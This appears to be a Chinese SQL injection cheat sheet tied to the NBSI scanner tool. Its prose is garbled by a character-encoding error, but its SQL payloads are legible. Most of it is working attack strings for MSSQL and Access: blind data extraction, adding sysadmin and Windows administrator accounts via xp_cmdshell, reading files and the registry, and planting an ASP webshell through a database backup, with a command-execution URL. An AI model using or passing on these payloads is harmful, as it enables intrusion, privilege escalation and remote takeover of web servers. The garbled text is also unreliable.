NBSI×¢ÈëÍøվ©¶´É¨ÃèרÓù¤¾ßÊÇÒ»¿î¹¦ÄÜÆëÈ«µÄAPP£¬ÓÉvbÓïÑÔ׫дµÄÍøվ©¶´¼ì²âרÓù¤¾ßµÄÃû×Ö£¬ASP×¢ÈëÍøվ©¶´É¨ÃèרÓù¤¾ß£¬ÓÈÆäÔÚsql server×¢Èë¼ìÑé²ãÃæÓнϸߵÄ׼ȷ¶È¡£

Èí¼þ¼ò½é

1.·Ö±æÊDz»ÊÇÓÐ×¢Èë

;and 1=1

;and 1=2

2.·ÖÎöÅжÏÊDz»ÊÇmssql

;and user0

3.·Ö±æÊý¾Ý¿âϵͳÈí¼þ

;and (select count(*) from sysobjects)0 mssql

;and (select count(*) from msysobjects)0 access

4.×¢ÈëÖ÷Òª²ÎÊýÊDZêʶ·û

and [²éѯÌõ¼þ] and =

5.¼ìË÷ʱû¹ýÂÇÖ÷Òª²ÎÊýµÄ

and [²éѯÌõ¼þ] and %=

6.²ÂÊý¾Ý¿â

;and (Select Count(*) from [Êý¾Ý¿âÃû])0

7.²Â×Ö¶Î

;and (Select Count(×Ö¶ÎÃû) from Êý¾Ý¿âÃû)0

8.²Â×Ö¶ÎÖмͼ³¤¶Ì

;and (select top 1 len(×Ö¶ÎÃû) from Êý¾Ý¿âÃû)0

9.(1)²Â×ֶεÄasciiÖµ£¨access£©

;and (select top 1 asc(mid(×Ö¶ÎÃû,1,1)) from Êý¾Ý¿âÃû)0

(2)²Â×ֶεÄasciiÖµ£¨mssql£©

;and (select top 1 unicode(substring(×Ö¶ÎÃû,1,1)) from Êý¾Ý¿âÃû)0

10.¼ì²â¹ÜÀíȨÏÞ¹¹Ô죨mssql£©

;and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--

;and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--

;and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--

;and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

;and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--

;and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

;and 1=(SELECT IS_MEMBER(db_owner));--

11.¼ÓÉÏmssqlºÍÌåϵµÄÕ˺Å

;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,

username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin

username;--

;exec master.dbo.xp_cmdshell net user username

password /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add

;--

;exec master.dbo.xp_cmdshell net user username

password /add;--

;exec master.dbo.xp_cmdshell net localgroup

administrators username /add;--

12.(1)½âÎöxmlÎļþĿ¼

;create table dirs(paths varchar(100), id int)

;insert dirs exec master.dbo.xp_dirtree c:\

;and (select top 1 paths from dirs)0

;and (select top 1 paths from dirs where paths not

in(Éϲ½»ñµÃµÄpaths)))

(2)½âÎöxmlÎļþĿ¼

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_availablemedia;-- µÃµ½µ±½ñÈ«²¿¿ØÖÆÆ÷

;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- µÃµ½¸ùĿ¼Ŀ¼

;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- µÃµ½È«²¿¸ùĿ¼µÄÎļþĿ¼Ê÷Ðνṹ

;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- ²éѯÎĵµµÄƒÈÈÝ

13.mssqlÖеÄsqlÓï¾ä

xp_regenumvalues ×¢²á±íÎļþ¸ù¼ü, ×Ó¼ü

;exec xp_regenumvalues HKEY_LOCAL_MACHINE,

SOFTWARE\Microsoft\Windows\CurrentVersion\Run ÒԺü¸¸ö¼Ç¼¼¯·½·¨»Øµ½È«²¿¼üÖµ

xp_regread ¸ù¼ü,×Ó¼ü,¼üÖµÃû

;exec xp_regread HKEY_LOCAL_MACHINE,

SOFTWARE\Microsoft\Windows\CurrentVersion,

CommonFilesDir »Øµ½Öƶ©¼üµÄÖµ

xp_regwrite ¸ù¼ü,×Ó¼ü, ÖµÃû, ÖµÖÖÀà, Öµ

ÖµÖÖÀàÓÐ2ÖÖREG_SZ ±íÃ÷×Ö·ûÐÍ,REG_DWORD ±íÃ÷ÕûÐÎ

;exec xp_regwrite HKEY_LOCAL_MACHINE,

SOFTWARE\Microsoft\Windows\CurrentVersion,

TestValueName,reg_sz,hello ÔØÈë×¢²á±íÎļþ

xp_regdeletevalue ¸ù¼ü,×Ó¼ü,ÖµÃû

exec xp_regdeletevalue HKEY_LOCAL_MACHINE,

SOFTWARE\Microsoft\Windows\CurrentVersion,

TestValueName ɾµôijһֵ

xp_regdeletekey HKEY_LOCAL_MACHINE,

SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey Í˸ñ¼ü,°üº¬¸Ã¼üÏÂÈ«²¿Öµ

14.mssqlµÄbackup½¨Á¢webshell

use model

create table cmd(str image);

insert into cmd(str) values (% Dim oScript %);

backup database model to disk=c:\l.asp;

15.mssqlÄÚǶº¯Êý¹«Ê½

;and (select @@version)0 µÃµ½WindowsµÄ°æ±¾ÐÅÏ¢

;and user_name()=dbo ·Ö±æµ±½ñϵͳÈí¼þµÄÁª½Ó¿Í»§ÊÇ·ñsa

;and (select user_name())0 ±¬µ±½ñϵͳÈí¼þµÄÁª½Ó¿Í»§

;and (select db_name())0 »ñµÃµ±½ñÁª½ÓµÄÊý¾Ý¿â

16.¼òÔ¼µÄwebshell

use model

create table cmd(str image);

insert into cmd(str) values (%=server.createobject(wscript.shell).exec(cmd.exe /c request(c)).stdout.readall%);

backup database model to disk=g:\wwwtest\l.asp;

ÒªÇóµÄÇé¿öÏ£¬ÏñÕâÑù×ÓÓãº

http://ip/l.asp?c=dir

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